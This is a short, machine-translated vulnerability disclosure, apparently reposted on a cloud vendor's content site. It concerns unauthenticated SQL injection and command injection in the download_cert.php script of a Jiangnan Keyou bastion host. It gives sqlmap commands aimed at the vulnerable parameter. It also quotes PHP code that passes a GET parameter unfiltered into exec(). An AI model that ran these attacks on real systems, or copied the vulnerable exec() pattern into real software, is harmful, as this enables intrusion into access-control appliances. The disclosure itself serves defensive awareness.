Jiangnan keyou bastion host full-version code execution + SQL injection (No Logon required)

Source: Internet
Author: User

Jiangnan keyou bastion host full-version code execution + SQL injection (No Logon required)

 

SQL Injection:

/System/download_cert.php? Manager = 1 & user_id = 2 & cert_psw = 11 user_id Parameter

Sqlmap-u "https://12XX.XXXX. 9X/system/download_cert.php? Manager = 1 & user_id = 2 & cert_psw = 11"
 



Sqlmap-u "https://12XX.XXXX. 9X/system/download_cert.php? Manager = 1 & user_id = 2 & cert_psw = 11 "-- dbs
 





Code execution:

This file is also used:

/System/download_cert.php parameter cert_psw

The Code is as follows:


If (! Empty ($ cert_msg ))
{$cmd = "openssl pkcs12 -export";if(!empty($_GET['cert_psw'])){$cmd .= " -password pass:".$_GET['cert_psw'];}else{$cmd .= " -password pass:";}$cmd .= " -inkey /usr/local/keyou/Config/certs/".$cert_msg[0]['serial_no'].".key -in /usr/local/keyou/Config/certs/".$cert_msg[0]['serial_no'].".pem  -out  /usr/local/apache2/htdocs/project/www/download/".$cert_msg[0]['serial_no'].".pfx";//echo $cmd;exec($cmd);





$ _ GET ['cert _ psw'] enters the exec dangerous function without any filtering, resulting in code execution...
 

 

 

Solution:

Filter

 

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.